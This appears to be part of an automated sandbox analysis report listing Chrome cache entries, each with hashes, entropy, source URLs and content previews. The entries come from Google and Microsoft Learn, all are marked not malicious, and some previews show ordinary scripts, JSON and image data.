Preview:	)]}'.["",["weather lake effect snow","stanford football andrew luck","nyt connections hints november 30","russian and chinese bombers","crop course monopoly go rewards","real valladolid vs atl.tico madrid","cleveland weather forecast","arcane s2"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195712
Entropy (8bit):	5.430058240656712
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVlis:Wof3G0NSkNzMeO7z/l3ll
MD5:	A307DE6214648B16414DC641D7399066
SHA1:	63980CBC7F3DF8838611519460B570EA50BF5751
SHA-256:	99B65058137EDB2B63400C273F6F5A064E3B0244152B916FD8C3C7C3818D9D93
SHA-512:	EE879CC90BF7EF0BE89670D0F0D7F6A85A37324D0C892694D78AE81A28692BE6045A0B59588549533D9AC8E6FC91978778999E37942B530E979D403D95E2D0CD
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25422
Entropy (8bit):	5.151101794904936
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFr7:aHBQv11pOVqlh382/rIN1D
MD5:	B5C4D5CE538E3982A376EC2923192D6B
SHA1:	A1BD7A4345A58117D6201305E0B5CB893C827BAD
SHA-256:	5F999F0A104864DCE808453CEBB0B7291ADCDF2516E40011B0BB4E9ACCD71C0C
SHA-512:	87A71EF2621453B2DE11DA60E02EED762F9FFBAD9D7052CB95CD1FBB6311E8AE3E5D430FC2315AC3FC20A06E627EAD95FC5E4F5B0AA17206728120A4CA9FB6AA
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5d1390e5c6.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132964
Entropy (8bit):	5.43498688058434
Encrypted:	false
SSDEEP:	3072:fqkX3ioI5wrfFiC8jMbk/5xnRopvsMTwR2i6o:ft3dDFqr/5xnRopvrwR8o
MD5:	EA73A621D94F4AF36F94FCD9FF2073DB
SHA1:	8473C5C135416B266C80524C7AA64AFFD60E247A
SHA-256:	142FD618C8F9148288C49A7A5DCA5477B86BEFC7111EA7E7628C6DAA2D866236
SHA-512:	9232950F88FDAD954FE1F0880CE05834C3A6217A04F40B14246993892905CCA8D632AFDB74ECC51F81BDD1CB0912D75C1FC555A54F4235C87FD3FCD4C7B23ADA
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2802)
Category:	downloaded
Size (bytes):	174866
Entropy (8bit):	5.55119411677623
Encrypted:	false
SSDEEP:	3072:WEBR5OnrJtUy+9+thjN33FhJpGha9HMRWIjFBJBHTZPYb62+vQ1jV9HyT++Wq7ki:WKR5Or8y+9+tdFFhJchaZMRWIhBJBHTl
MD5:	E75DAA83A93E581139D8AD8EE8D62358
SHA1:	AC0DED87D443840A77B446D53DA22BFD52441D5C
SHA-256:	177BD25B85BF254F44B515271222B773D2CF618FA17587D2DD507CE2104A3542
SHA-512:	50FD351CB34D216BC443BC8A3FD2773925FC7151B180E5F697750B356A2649AC302E1FEF4575416C02FF04498F877EB4326F5B21AAC713AAAA38ED6E8BB65C43
Malicious:	false
